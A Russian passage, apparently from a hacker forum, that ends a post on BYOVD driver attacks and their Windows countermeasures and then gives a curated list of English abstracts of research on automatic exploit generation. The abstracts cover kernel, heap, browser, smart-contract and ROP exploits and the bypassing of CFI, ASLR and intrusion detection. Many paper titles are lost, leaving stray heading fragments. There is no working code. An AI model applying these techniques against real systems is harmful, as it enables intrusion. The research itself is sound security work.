Разумеется, эта техника — не «серебряная пуля», потому что были разработаны контрмеры, которые помогают минимизировать риски, связанные с BYOVD:
Давай пройдемся по каждому. Черный список собирает контрольные суммы и
отпечатки драйверов, которые были замечены в атаках. Отзыв сертификата
обнуляет действие сертификата подписи, и драйвер становится как будто
неподписанным. А изоляция ядра на основе виртуализации (VBS и ее компонент
HVCI) препятствует вредоносным действиям еще неизвестных, но использующихся
для атак драйверов. Система виртуализации выступает корнем доверия и
предполагает, что ядро может быть в любой момент скомпрометировано.
Все эти меры работают вместе и стали эффективными средствами для
предотвращения атак BYOVD. Но сработают они, только если пользователь их не
отключил специально, например для улучшения производительности.
Надеюсь, мне удалось немного рассказать о тех методах и средствах, которыми пользуются одни из самых крутых хакерских группировок, а кто предупрежден, тот, как известно, вооружен. Как минимум ты уже знаешь, почему не стоит выключать защиту ядра Windows ради лишних 10% скорости!
Доброго времени суток дамага! Сегодня я предлагаю тебе погрузится в тему генерации эксплойтов. Генерация эксплойтов пришла еще в бородатые года. В какой-то момент люди стали задумываться о том, чтобы автоматически создавать эксплойты, а не делать их вручную. Так и появилась категория направленная на разработку инструментов, которые могут автоматически обнаруживать уязвимости в программном обеспечении, а затем создавать эксплойты для этих уязвимостей.
Эти инструменты, именнуют, как AEG.
AEG (Automatic Exploit Generation) означает автоматическую генерацию
эксплойтов. Инструменты AEG могут анализировать программы, выявлять
уязвимости, а затем создавать конкретные инструкции (эксплойты), позволяя
воспользоваться этими эксплойтами в ручную или же применить их автоматически.
Исследования в области разработки инструментов AEG, считается передовым исследованием в области наступательной безопасности.
Ниже я добавил подборку материалов на тему AEG. делюсь подборкой исследований.
Intrusion detection systems that monitor sequences of system calls have recently become more sophisticated in defining legitimate application behavior. In particular, additional information, such as the value of the program counter and the configuration of the program’s call stack at each system call, has been used to achieve better characterization of program behavior. While there is common agreement that this additional information complicates the task for the attacker, it is less clear to which extent an intruder is constrained. In this paper, we present a novel technique to evade the extended detection features of state-of-the-art intrusion detection systems and reduce the task of the intruder to a traditional mimicry attack. Given a legitimate sequence of system calls, our technique allows the attacker to execute each system call in the correct execution context by obtaining and relinquishing the control of the application’s execution flow through manipulation of code pointers. We have developed a static analysis tool for Intel x86 binaries that uses symbolic execution to automatically identify instructions that can be used to redirect control flow and to compute the necessary modifications to the environment of the process. We used our tool to successfully exploit three vulnerable programs and evade detection by existing state-of-the-art system call monitors. In addition, we analyzed three real- world applications to verify the general applicability of our techniques.
Implications
The automatic patch-based exploit generation problem is: given a program P and a patched version of the program P′, automatically generate an exploit for the potentially unknown vulnerability present in P but fixed in P′. In this paper , we propose techniques for automatic patch-based exploit generation, and show that our techniques can automatically generate exploits for 5 Microsoft programs based upon patches provided via Windows Update. Although our techniques may not work in all cases, a fundamental tenet of security is to conservatively estimate the capabilities of attackers. Thus, our results indicate that automatic patch-based exploit generation should be considered practical. One important security implication of our results is that current patch distribution schemes which stagger patch distribution over long time periods, such as Windows Update, may allow attackers who receive the patch first to compromise the significant fraction of vulnerable hosts who have not yet received the patch.
Vulnerabilities
Software bugs that result in memory corruption are a common and dangerous feature of systems developed in certain programming languages. Such bugs are security vulnerabilities if they can be leveraged by an attacker to trigger the execution of malicious code. Determining if such a possibility exists is a time consuming process and requires technical expertise in a number of areas. Often the only way to be sure that a bug is in fact exploitable by an attacker is to build a complete exploit. It is this process that we seek to automate. We present a novel algorithm that integrates data-flow analysis and a decision procedure with the aim of automatically building exploits. The exploits we generate are constructed to hijack the control flow of an application and redirect it to malicious code. Our algorithm is designed to build exploits for three common classes of security vulnerability; stack-based buffer overflows that corrupt a stored instruction pointer, buffer overflows that corrupt a function pointer, and buffer overflows that corrupt the destination address used by instructions that write to memory. For these vulnerability classes we present a system capable of generating functional exploits in the presence of complex arithmetic modification of inputs and arbitrary constraints. Exploits are generated using dynamic data-flow analysis in combination with a decision procedure. To the best of our knowledge the resulting implementation is the first to demonstrate exploit generation using such techniques. We illustrate its effectiveness on a number of benchmarks including a vulnerability in a large, real-world server application.
The automatic exploit generation challenge is given a program, automatically find vulnerabilities and generate exploits for them. In this paper we present AEG, the first end-to-end system for fully automatic exploit generation. We used AEG to analyze 14 open-source projects and successfully generated 16 control flow hijacking exploits. Two of the generated exploits (expect-5.43 and htget-0.93) are zero-day exploits against unknown vulnerabilities. Our contributions are: 1) we show how exploit generation for control flow hijack attacks can be modeled as a formal verification problem, 2) we propose preconditioned symbolic execution, a novel technique for targeting symbolic execution, 3) we present a general approach for generating working exploits once a bug is found, and 4) we build the first end-to-end system that automatically finds vulnerabilities and generates exploits that produce a shell.
In this paper we present MA YHEM, a new system for automatically finding exploitable bugs in binary (i.e., executable) programs. Every bug reported by MA YHEM is accompanied by a working shell-spawning exploit. The working exploits ensure soundness and that each bug report is securitycritical and actionable. MA YHEM works on raw binary code without debugging information. To make exploit generation possible at the binary-level, MA YHEM addresses two major technical challenges: actively managing execution paths without exhausting memory, and reasoning about symbolic memory indices, where a load or a store address depends on user input. To this end, we propose two novel techniques: 1) hybrid symbolic execution for combining online and offline (concolic) execution to maximize the benefits of both techniques, and 2) index-based memory modeling, a technique that allows MA YHEM to efficiently reason about symbolic memory at the binary level. We used MA YHEM to find and demonstrate 29 exploitable vulnerabilities in both Linux and Windows programs, 2 of which were previously undocumented.
Modeling Attacks as Symbolic Continuations
We present a simple framework capable of automatically generating attacks that exploit control flow hijacking vulnerabilities. We analyze given software crashes and perform symbolic execution in concolic mode, using a whole system environment model. The framework uses an end-to-end approach to generate exploits for various applications, including 16 medium scale benchmark programs, and several large scale applications, such as Mplayer (a media player), Unrar (an archiver) and Foxit(a pdf reader), with stack/heap overflow, off-by-one overflow, use of uninitialized variable, format string vulnerabilities. Notably, these applications have been typically regarded as fuzzing preys, but still require a manual process with security knowledge to produce mitigation-hardened exploits. Using our system to produce exploits is a fully automated and straightforward process for crashed software without source. We produce the exploits within six minutes for medium scale of programs, and as long as 80 minutes for mplayer (about 500,000 LOC), after constraint reductions. Our results demonstrate that the link between software bugs and security vulnerabilities can be automatically bridged.
A common task for security analysts is to determine whether potentially unsafe code constructs (as found by static analysis or code review) can be triggered by an attackercontrolled input to the program under analysis. We refer to this problem as proof-of-concept (POC) exploit generation. Exploit generation is challenging to automate because it requires precise reasoning across a large code base; in practice it is usually a manual task. An intuitive approach to exploit generation is to break down a program’s relevant computation into a sequence of transformations that map an input value into the value that can trigger an exploit. We automate this intuition by describing an approach to discover the buffer structure (the chain of buffers used between transformations) of a program, and use this structure to construct an exploit input by inverting one transformation at a time. We propose a new program representation, a hybrid information- and control-flow graph (HI-CFG), and give algorithms to build a HI-CFG from instruction traces. We then describe how to guide program exploration using symbolic execution to efficiently search for transformation pre-images. We implement our techniques in a tool that operates on applications in x86 binary form. In two case studies we discuss how our tool creates POC exploits for (i) a vulnerability in a PDF rendering library that is reachable through multiple different transformation stages and (ii) a vulnerability in the processing stage of a specific document format in AbiWord.
Generating exploits from the perspective of attackers is an effective approach towards severity analysis of known vulnerabilities. However, it remains an open problem to generate even one exploit using a program binary and a known abnormal input that crashes the program, not to mention multiple exploits. To address this issue, in this paper, we propose PolyAEG, a system that automatically generates multiple exploits for a vulnerable program using one corresponding abnormal input. To generate polymorphic exploits, we fully leverage different trampoline instructions to hijack control flow and redirect it to malicious code in the execution context. We demonstrate that, given a vulnerable program and one of its abnormal inputs, our system can generate polymorphic exploits for the program. We have successfully generated control flow hijacking exploits for 8 programs in our experiment. Particularly, we have generated 4,724 exploits using only one abnormal input for IrfanView, a widely used picture viewer.
Programs
This paper presents a new method, capable of automatically generating attacks on binary programs from software crashes. We analyze software crashes with a symbolic failure model by performing concolic executions following the failure directed paths, using a whole system environment model and concrete address mapped symbolic memory in . We propose a new selective symbolic input method and lazy evaluation on pseudo symbolic variables to handle symbolic pointers and speed up the process. This is an end-to-end approach able to create exploits from crash inputs or existing exploits for various applications, including most of the existing benchmark programs, and several large scale applications, such as a word processor (Microsoft office word), a media player (mpalyer), an archiver (unrar), or a pdf reader (foxit). We can deal with vulnerability types including stack and heap overflows, format string, and the use of uninitialized variables. Notably, these applications have become software fuzz testing targets, but still require a manual process with security knowledge to produce mitigation-hardened exploits. Using this method to generate exploits is an automated process for software failures without source code. The proposed method is simpler, more general, faster, and can be scaled to larger programs than existing systems. We produce the exploits within one minute for most of the benchmark programs, including mplayer. We also transform existing exploits of Microsoft office word into new exploits within four minutes. The best speedup is 7,211 times faster than the initial attempt. For heap overflow vulnerability, we can automatically exploit the unlink() macro of glibc, which formerly requires sophisticated hacking efforts.
Software exception analysis can not only improve software stability before putting into commercial, but also could optimize the priority of patch updates subsequently. We propose a more practical software exception analysis approach based on taint analysis, from the view that whether an exception of the software can be exploited by an attacker. It first identifies the type of exceptions, then do taint analysis on the trace that between the program entry point to exception point, and recording taint information of memory set and registers. It finally gives the result by integrating the above recording and the subsequent instructions analysis. We implement this approach to our exception analysis framework ExpTracer, and do the evaluation with some exploitable/un-exploitable exceptions which shows that our approach is more accurate in identifying exceptions compared with current tools.
We normally monitor and observe failures to measure the reliability and quality of a system. On the contrary, the failures are manipulated in the debugging process for fixing the faults or by attackers for unauthorized access of the system. We review several issues to determine if the failures (especially the software crash) are reachable and controllable by an attacker. This kind of efforts is called exploitation and can be a measurement of the trustworthiness of a failed system.
Programs
We present a method to generate automatically exploits for information flow leaks in object-oriented programs. Our approach combines self-composition and symbolic execution to compose an insecurity formula for a given information flow policy and a specification of the security level of the program locations. The insecurity formula gives then rise to a model which is used to generate input data for the exploit. A prototype tool called KEG implementing the described approach for Java programs has been developed, which generates exploits as executable JUnit tests.
As defense solutions against control-flow hijacking attacks gain wide deployment, control-oriented exploits from memory errors become difficult. As an alternative, attacks targeting non-control data do not require diverting the application’s control flow during an attack. Although it is known that such data-oriented attacks can mount significant damage, no systematic methods to automatically construct them from memory errors have been developed. In this work, we develop a new technique called data-flow stitching, which systematically finds ways to join data flows in the program to generate data- oriented exploits. We build a prototype embodying our technique in a tool called FLOWSTITCH that works directly on Windows and Linux binaries. In our experiments, we find that FLOWSTITCH automatically constructs 16 previously unknown and three known data-oriented attacks from eight real-world vulnerable programs. All the automatically-crafted exploits respect fine-grained CFI and DEP constraints, and 10 out of the 19 exploits work with standard ASLR defenses enabled. The constructed exploits can cause significant damage, such as disclosure of sensitive information (e.g., passwords and encryption keys) and escalation of privilege.
An automated method for e xploit ge ne ration is prese nted. This method allows one to construct exploits for stack buffer overflow vulnerabilities and to prioritize software bugs. The method is based on the dynamic analysis and symbolic execution of programs. It could be applied to program binaries and does not require debug information. The proposed method was used to develop a tool for exploit generation. This tool was used to generate exploits for eight vulnerabilities in Linux and Windows programs, of which three were not fixed at the time this paper was written.
Manual vulnerability discovery and exploit development on an executable are very challenging tasks for developers. Therefore, the automation of those tasks is becoming interesting in the field of software security. In this paper, we implement an approach of automated exploit generation for firmware of embedded systems by extending an existing dynamic analysis framework called Avatar. Embedded systems occupy a significant portion of the market but lack typical security features found on general purpose computers, making them prone to critical vulnerabilities. We discuss several techniques to automatically discover vulnerabilities and generate exploits for embedded systems, and evaluate our proposed approach by generating exploits for two vulnerable firmware written for a popular ARM Cortex-M3 microcontroller.
Finding and exploiting vulnerabilities in binary code is a challenging task. The lack of high-level, semantically rich information about data structures and control constructs makes the analysis of program properties harder to scale. However, the importance of binary analysis is on the rise. In many situations binary analysis is the only possible way to prove (or disprove) properties about the code that is actually executed. In this paper, we present a binary analysis framework that implements a number of analysis techniques that have been proposed in the past. We present a systematized implementation of these techniques, which allows other researchers to compose them and develop new approaches. In addition, the implementation of these techniques in a unifying framework allows for the direct comparison of these approaches and the identification of their advantages and disadvantages. The evaluation included in this paper is performed using a recent dataset created by DARPA for evaluating the effectiveness of binary vulnerability analysis techniques. Our framework has been open-sourced and is available to the security community.
Applications to Vulnerability Discovery and Exploit Generation
Android Application Framework is an integral and foundational part of the Android system. Each of the 1.4 billion Android devices relies on the system services of Android Framework to manage applications and system resources. Given its critical role, a vulnerability in the framework can be exploited to launch large-scale cyber attacks and cause severe harms to user security and privacy. Recently, many vulnerabilities in Android Framework were exposed, showing that it is vulnerable and exploitable. However, most of the existing research has been limited to analyzing Android applications, while there are very few techniques and tools developed for analyzing Android Framework. In particular, to our knowledge, there is no previous work that analyzes the framework through symbolic execution, an approach that has proven to be very powerful for vulnerability discovery and exploit generation. We design and build the first system, Centaur, that enables symbolic execution of Android Framework. Due to some unique characteristics of the framework, such as its middleware nature and extraordinary complexity, many new challenges arise and are tackled in Centaur. In addition, we demonstrate how the system can be applied to discovering new vulnerability instances, which can be exploited by several recently uncovered attacks against the framework, and to generating PoC exploits.
Memory errors continue to compromise the security of today’s systems. Recent efforts to automatically synthesize exploits for stack-based buffer overflows promise to help assess a vulnerability’s severity more quickly and alleviate the burden of manual reasoning. However, generation of heap exploits has been out of scope for such methods thus far. In this paper, we investigate the problem of automatically generating heap exploits, which, in addition to finding the vulnerability, requires intricate interaction with the heap manager. We identify the challenges involved in automatically finding the right parameters and interaction sequences for such attacks, which have traditionally required manual analysis. To tackle these challenges, we present a modular approach that is designed to minimize the assumptions made about the heap manager used by the target application. Our prototype system is able to find exploit primitives in six binary implementations of Windows and UNIX- based heap managers and applies these to successfully exploit two real-world applications.
Selective symbolic execution is a common program testing technology. Developed on the basis of it, some crash analysis systems are often used to test the fragility of the program by constructing exploit constraints, such as CRAX. From the study of crash analysis based on symbolic execution, this paper find that this technology cannot bypass the canary stack protection mechanisms. This paper makes the improvement uses the API hook in Linux. Experimental results show that the use of API hook can effectively solve the problem that crash analysis cannot bypass the canary protection.
Heap overflow is one of the most widely exploited vulnerabilities, with a large number of heap overflow instances reported every year. It is important to decide whether a crash caused by heap overflow can be turned into an exploit. Efficient and effective assessment of exploitability of crashes facilitates to identify severe vulnerabilities and thus prioritize resources. In this paper, we propose the first metrics to assess heap overflow crashes based on both the attack aspect and the feasibility aspect. We further present HCSIFTER, a novel solution to automatically assess the exploitability of heap overflow instances under our metrics. Given a heap-based crash, HCSIFTER accurately detects heap overflows through dynamic execution without any source code or debugging information. Then it uses several novel methods to extract program execution information needed to quantify the severity of the heap overflow using our metrics. We have implemented a prototype HCSIFTER and applied it to assess nine programs with heap overflow vulnerabilities. HCSIFTER successfully reports that five heap overflow vulnerabilities are highly exploitable and two overflow vulnerabilities are unlikely exploitable. It also gave quantitatively assessments for other two programs. On average, it only takes about two minutes to assess one heap overflow crash. The evaluation result demonstrates both effectiveness and efficiency of HCSIFTER.
Android Applications
Although a wide variety of approaches identify vulnerabilities in Android apps, none attempt to determine exploitability of those vulnerabilities. Exploitability can aid in reducing false positives of vulnerability analysis, and can help engineers triage bugs. Specifically, one of the main attack vectors of Android apps is their inter-component communication interface, where apps may receive messages called Intents. In this paper, we provide the first approach for automatically generating exploits for Android apps, called LetterBomb, relying on a combined path-sensitive symbolic execution-based static analysis, and the use of software instrumentation and test oracles. We run LetterBomb on 10,000 Android apps from Google Play, where we identify 181 exploits from 835 vulnerable apps. Compared to a state-of-the-art detection approach for three ICC-based vulnerabilities, LetterBomb obtains 33%-60% more vulnerabilities at a 6.66 to 7 times faster speed.
The growing dependence on software and the increasing complexity of such systems builds and feeds the attack surface for exploitable vulnerabilities. Security researchers put up a lot of effort to develop exploits and analyze existing exploits with the goal of staying ahead of the state-of-the-art in attacks and defenses. The urge for automated systems that operate at scale, speed and efficiency is therefore undeniable. Given their complexity and large user base, web browsers pose an attractive target. Due to various mitigation strategies, the exploitation of a browser vulnerability became a time consuming, multi-step task: creating a working exploit even from a crashing input is a resource-intensive task that can take a substantial amount of time to complete. In many cases, the input, which triggers a vulnerability follows a crashing path but does not enter an exploitable state. In this paper, we introduce novel methods to significantly improve and partially automate the development process for browser exploits. Our approach is based on the observation that an analyst typically performs certain manual analysis steps that can be automated. This serves the purpose to propagate the bug-induced, controlled data to a specific program location to carry out a desired action. These actions include achieving write-what-where or control over the instruction pointer primitives. These are useful to extend control over the target program and are necessities towards successful code execution, the ultimate goal of the adversary.We implemented a prototype of our approach called PrimGen. For a given browser vulnerability, it is capable of automatically crafting data objects that lead the execution to a desired action. We show in our evaluation that our approach is able to generate new and previously unknown exploitation opportunities for real-world vulnerabilities in Mozilla Firefox, Internet Explorer, and Google Chrome. Using small templates, PrimGen generates inputs that conducts specific primitives. In total, PrimGen has found 48 JavaScript inputs which conduct the desired primitives when fed into the target browsers.
Cryptocurrencies like Bitcoin not only provide a decentralized currency, but also provide a programmatic way to process transactions. Ethereum, the second largest cryptocurrency next to Bitcoin, is the first to provide a Turing- complete language to specify transaction processing, thereby enabling so- called smart contracts. This provides an opportune setting for attackers, as security vulnerabilities are tightly intertwined with financial gain. In this paper, we consider the problem of automatic vulnerability identification and exploit generation for smart contracts. We develop a generic definition of vulnerable contracts and use this to build TEETHER, a tool that allows creating an exploit for a contract given only its binary bytecode. We perform a large-scale analysis of all 38,757 unique Ethereum contracts, 815 out of which our tool finds working exploits for—completely automated.
Techniques in Cyber Reasoning Systems
Software is everywhere, from mission critical systems such as industrial power stations, pacemakers and even household appliances. This growing dependence on technology and the increasing complexity of software has serious security implications as it means we are potentially surrounded by software that contains exploitable vulnerabilities. These challenges have made binary analysis an important area of research in computer science and has emphasized the need for building automated analysis systems that can operate at scale, speed and efficiency; all while performing with the skill of a human expert. Though great progress has been made in this area of research, there remains limitations and open challenges to be addressed. Recognizing this need, DARPA sponsored the Cyber Grand Challenge (CGC), a competition to showcase the current state of the art in systems that perform; automated vulnerability detection, exploit generation and software patching. This paper is a survey of the vulnerability detection and exploit generation techniques, underlying technologies and related works of two of the winning systems Mayhem and Mechanical Phish.
Automatic exploit generation is an open challenge. Existing solutions usually explore in depth the crashing paths, i.e., paths taken by proof-of-concept (PoC) inputs triggering vulnerabilities, and generate exploits when exploitable states are found along the paths. However, exploitable states do not always exist in crashing paths. Moreover, existing solutions heavily rely on symbolic execution and are not scalable in path exploration and exploit generation. In addition, few solutions could exploit heap-based vulnerabilities. In this paper, we propose a new solution Revery to search for exploitable states in paths diverging from crashing paths, and generate control-flow hijacking exploits for heap-based vulnerabilities. It adopts three novel techniques: (1) a layout-contributor digraph to characterize a vulnerability’s memory layout and its contributor instructions; (2) a layout- oriented fuzzing solution to explore diverging paths, which have similar memory layouts as the crashing paths, in order to search more exploitable states and generate corresponding diverging inputs; (3) a control-flow stitching solution to stitch crashing paths and diverging paths together, and synthesize EXP inputs able to trigger both vulnerabilities and exploitable states. We have developed a prototype of Revery based on the binary analysis engine angr, and evaluated it on a set of 19 CTF (capture the flag) programs. Experiment results showed that it could generate exploits for 9 (47%) of them, and generate EXP inputs able to trigger exploitable states for another 5 (26%) of them.
Exploitation Framework
Nowadays, with the size and complexity of software increasing rapidly, vulnerabilities are becoming diversified and hard to identify. It is unpractical to detect and exploit vulnerabilities by manual construction. Therefore, an efficient automatic method of detecting and exploiting software vulnerability is in critical demand. This paper implements Pangr, an entire system for automatic vulnerability detection, exploitation, and patching. Pangr builds a complete vulnerability model based on its triggering behavior to identify vulnerabilities and generate exp or exploit schemes. According to the type and feature of the vulnerability, Pangr can generate the specific patch for the software. In the experiment, we tested 20 vulnerable programs on 32-bit Linux machine. Pangr detected 16 vulnerabilities, generated 10 exp, and patched 14 programs.
Security
Heap metadata attacks have become one of the primary ways in which attackers exploit memory corruption vulnerabilities. While heap implementation developers have introduced mitigations to prevent and detect corruption, it is still possible for attackers to work around them. In part, this is because these mitigations are created and evaluated without a principled foundation, resulting, in many cases, in complex, inefficient, and ineffective attempts at heap metadata defenses. In this paper, we present HEAPHOPPER, an automated approach, based on model checking and symbolic execution, to analyze the exploitability of heap implementations in the presence of memory corruption. Using HEAPHOPPER, we were able to perform a systematic analysis of different, widely used heap implementations, finding surprising weaknesses in them. Our results show, for instance, how a newly introduced cachingmechanismin ptmalloc (the heap allocator implementation used bymost of the Linux distributions) significantly weakens its security. Moreover, HEAPHOPPER guided us in implementing and evaluating improvements to the security of ptmalloc, replacing an ineffective recent attempt at the mitigation of a specific form of heap metadata corruption with an effective defense
Vulnerabilities
Software vendors usually prioritize their bug remediation based on ease of their exploitation. However, accurately determining exploitability typically takes tremendous hours and requires significant manual efforts. To address this issue, automated exploit generation techniques can be adopted. In practice, they however exhibit an insufficient ability to evaluate exploitability particularly for the kernel Use-After-Free (UAF) vulnerabilities. This is mainly because of the complexity of UAF exploitation as well as the scalability of an OS kernel. In this paper, we therefore propose FUZE, a new framework to facilitate the process of kernel UAF exploitation. The design principle behind this technique is that we expect the ease of crafting an exploit could augment a security analyst with the ability to evaluate the exploitability of a kernel UAF vulnerability. Technically, FUZE utilizes kernel fuzzing along with symbolic execution to identify, analyze and evaluate the system calls valuable and useful for kernel UAF exploitation. In addition, it leverages dynamic tracing and an off-the-shelf constraint solver to guide the manipulation of vulnerable object. To demonstrate the utility of FUZE, we implement FUZE on a 64-bit Linux system by extending a binary analysis framework and a kernel fuzzer. Using 15 realworld kernel UAF vulnerabilities on Linux systems, we then demonstrate FUZE could not only escalate kernel UAF exploitability but also diversify working exploits. In addition, we show that FUZE could facilitate security mitigation bypassing, making exploitability evaluation less challenging and more efficient.
Processor Designs
This paper presents Coppelia, an end-to-end tool that, given a processor design and a set of security-critical invariants, automatically generates complete, replayable exploit programs to help designers find, contextualize, and assess the security threat of hardware vulnerabilities. In Coppelia, we develop a hardware-oriented backward symbolic execution engine with a new cycle stitching method and fast validation technique, along with several optimizations for exploit generation. We then add program stubs to complete the exploit. We evaluate Coppelia on three CPUs of different architectures. Coppelia is able to find and generate exploits for 29 of 31 known vulnerabilities in these CPUs, including 11 vulnerabilities that commercial and academic model checking tools can not find. All of the generated exploits are successfully replayable on an FPGA board.Moreover, Coppelia finds 4 new vulnerabilities along with exploits in these CPUs. We also use Coppelia to verify whether a security patch indeed fixed a vulnerability, and to refine a set of assertions.
With the widespread deployment of Control-Flow Integrity (CFI), control-flow hijacking attacks, and consequently code reuse attacks, are significantly more difficult. CFI limits control flow to well-known locations, severely restricting arbitrary code execution. Assessing the remaining attack surface of an application under advanced control-flow hijack defenses such as CFI and shadow stacks remains an open problem. We introduce BOPC, a mechanism to automatically assess whether an attacker can execute arbitrary code on a binary hardened with CFI/shadow stack defenses. BOPC computes exploits for a target program from payload specifications written in a Turingcomplete, high- level language called SPL that abstracts away architecture and program- specific details. SPL payloads are compiled into a program trace that executes the desired behavior on top of the target binary. The input for BOPC is an SPL payload, a starting point (e.g., from a fuzzer crash) and an arbitrary memory write primitive that allows application state corruption. To map SPL payloads to a program trace, BOPC introduces Block Oriented Programming (BOP), a new code reuse technique that utilizes entire basic blocks as gadgets along valid execution paths in the program, i.e., without violating CFI or shadow stack policies. We find that the problem of mapping payloads to program traces is NP-hard, so BOPC first reduces the search space by pruning infeasible paths and then uses heuristics to guide the search to probable paths. BOPC encodes the BOP payload as a set of memory writes. We execute 13 SPL payloads applied to 10 popular applications. BOPC successfully finds payloads and complex execution traces - which would likely not have been found through manual analysis - while following the target’s Control-Flow Graph under an ideal CFI policy in 81% of the cases.
Heap layout manipulation is integral to exploiting heapbased memory corruption vulnerabilities. In this paper we present the first automatic approach to the problem, based on pseudo-random black-box search. Our approach searches for the inputs required to place the source of a heap-based buffer overflow or underflow next to heap-allocated objects that an exploit developer, or automatic exploit generation system, wishes to read or corrupt. We present a framework for benchmarking heap layout manipulation algorithms, and use it to evaluate our approach on several real-world allocators, showing that pseudo- random black box search can be highly effective. We then present SHRIKE, a novel system that can perform automatic heap layout manipulation on the PHP interpreter and can be used in the construction of controlflow hijacking exploits. Starting from PHP’s regression tests, SHRIKE discovers fragments of PHP code that interact with the interpreter’s heap in useful ways, such as making allocations and deallocations of particular sizes, or allocating objects containing sensitive data, such as pointers. SHRIKE then uses our search algorithm to piece together these fragments into programs, searching for one that achieves a desired heap layout. SHRIKE allows an exploit developer to focus on the higher level concepts in an exploit, and to defer the resolution of heap layout constraints to SHRIKE. We demonstrate this by using SHRIKE in the construction of a control-flow hijacking exploit for the PHP interpreter.
Buffer overflow vulnerabilities are widely found in software. Finding these vulnerabilities and identifying whether these vulnerabilities can be exploit is very important. However, it is not easy to find all of the buffer overflow vulnerabilities in software programs, and it is more difficult to find and exploit these vulnerabilities in binary programs. This paper proposes a method and a corresponding tool that automatically finds buffer overflow vulnerabilities in binary programs, and then automatically generate exploit for the vulnerability. The tool uses symbolic execution to search the target software and find potential buffer overflow vulnerabilities, then try to bypass system protection by choosing different exploiting method according to the different level of protections. Finally, the exploit of software vulnerability is generated using constraint solver. The method and tool can automatically find vulnerabilities and generate exploits for three kinds of protection: without system protection, with address space layout randomization protection, and with stack non-executable protection.
Vulnerability Detection, Exploitation and Patching Techniques
With the success of the Cyber Grand Challenge (CGC) sponsored by DARPA, the topic of Autonomous Cyber Reasoning System (CRS) has recently attracted extensive attention from both industry and academia. Utilizing automated system to detect, exploit and patch software vulnerabilities seems so attractive because of its scalability and cost-efficiency compared with the human expert based solution. In this paper, we give an extensive survey of former representative works related to the underlying technologies of a CRS, including vulnerability detection, exploitation and patching. As an important supplement, we then review several pioneer studies that explore the potential of machine learning technologies in this field, and point out that the future development of Autonomous CRS is inseparable from machine learning.
Linux Kernel Vulnerabilities
Automatic exploit generation is a challenging problem. A challenging part of the task is to connect an identified exploitable state (exploit primitive) to triggering execution of code-reuse (e.g., ROP) payload. A control-flow hijacking primitive is one of the most common capabilities for exploitation. However, due to the challenges of widely deployed exploit mitigations, pitfalls along an exploit path, and ill-suited primitives, it is difficult to even manually craft an exploit with a control-flow hijacking primitive for an off-the-shelf modern Linux kernel. We propose KEPLER to facilitate exploit generation by automatically generating a “single-shot” exploitation chain. KEPLER accepts as input a control-flow hijacking primitive and bootstraps any kernel ROP payload by symbolically stitching an exploitation chain taking advantage of prevalent kernel coding style and corresponding gadgets. Comparisons with previous automatic exploit generation techniques and previous kernel exploit techniques show KEPLER effectively facilitates evaluation of control-flow hijacking primitives in the Linux kernel.
Interpreters
We present the first approach to automatic exploit generation for heap overflows in interpreters. It is also the first approach to exploit generation in any class of program that integrates a solution for automatic heap layout manipulation. At the core of the approach is a novel method for discovering exploit primitives—inputs to the target program that result in a sensitive operation, such as a function call or a memory write, utilizing attacker- injected data. To produce an exploit primitive from a heap overflow vulnerability, one has to discover a target data structure to corrupt, ensure an instance of that data structure is adjacent to the source of the overflow on the heap, and ensure that the post-overflow corrupted data is used in a manner desired by the attacker. Our system addresses all three tasks in an automatic, greybox, and modular manner. Our implementation is called Gollum, and we demonstrate its capabilities by producing exploits from 10 unique vulnerabilities in the PHP and Python interpreters, 5 of which do not have existing public exploits.
exploitability assessment)
Exploitability assessment of vulnerabilities is important for both defenders and attackers. The ultimate way to assess the exploitability is crafting a working exploit. However, it usually takes tremendous hours and significant manual efforts. To address this issue, automated techniques can be adopted. Existing solutions usually explore in depth the crashing paths, i.e., paths taken by proof-of-concept (PoC) inputs triggering vulnerabilities, and assess exploitability by finding exploitable states along the paths. However, exploitable states do not always exist in crashing paths. Moreover, existing solutions heavily rely on symbolic execution and are not scalable in path exploration and exploit generation. In this paper, we propose a novel solution to generate exploit for userspace programs or facilitate the process of crafting a kernel UAF exploit. Technically, we utilize oriented fuzzing to explore diverging paths from vulnerability point. For userspace programs, we adopt a control-flow stitching solution to stitch crashing paths and diverging paths together to generate exploit. For kernel UAF, we leverage a lightweight symbolic execution to identify, analyze and evaluate the system calls valuable and useful for exploiting vulnerabilities. We have developed a prototype system and evaluated it on a set of 19 CTF (capture the flag) programs and 15 realworld Linux kernel UAF vulnerabilities. Experiment results showed it could generate exploit for most of the userspace test set, and it could also facilitate security mitigation bypassing and exploitability evaluation for kernel test set.
Applications
The capability leak of Android applications is one kind of serious vulnerability. It causes other apps to leverage its functions to achieve their illegal goals. In this paper, we propose a tool which can automatically generate capability leaks’ exploits of Android applications with path- sensitive symbolic execution-based static analysis and test. It can aid in reducing false positives of vulnerability analysis and help engineers find bugs. We utilize control flow graph (CFG) reduction and call graph (CG) search optimization to optimize symbolic execution, which make our tool applicable for practical apps. By applying our tool to 439 popular applications of theWandoujia (a famous app market in China) in 2017, we found 2239 capability leaks of 16 kinds of permissions. And the average analysis time was 4 minutes per app. A demo video can be found at the website.
Return Oriented Programming (ROP) chains attack has been widely used to bypass Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) protection. However, the generation technology for ROP chains is still in a state of manual coding. While, current techniques for automatically generating ROP chains are still insufficiently researched and have few successful applications. On the other hand, the existing methods are based on using Intermediate Language (IL) which is in order to translate the semantics of original instructions for symbolic execution, and then fill in a predefined gadget arrangement to automatically construct a gadget list. This kind of methods may bring following problems: (1) when converting semantics of original to IL, there is a large amount of overhead time, critical instructions may be discarded; (2) the process of populating a predetermined gadget arrangement is inflexible and may fail to construct ROP chains due to address mismatching. In this paper, we propose the Automatic ROP chains Generation (ARG) which is the first fully automatic ROP chains generation tool without using IL. Tested with data from 6 open-source international Capture The Flag (CTF) competitions and 3 Common Vulnerabilities & Exposures (CVE)s, this technology successfully generated ROP chains for all of them. According to the obtained results, our technique can automatically create ROP payloads and reduce up to 80% of ROP exploit payloads. It takes only 3-5 seconds to exploit successfully, compared to manual analysis for at least 60 minutes, as well as it can effectively bypass both Write XOR Execute (W�X) and ASLR.
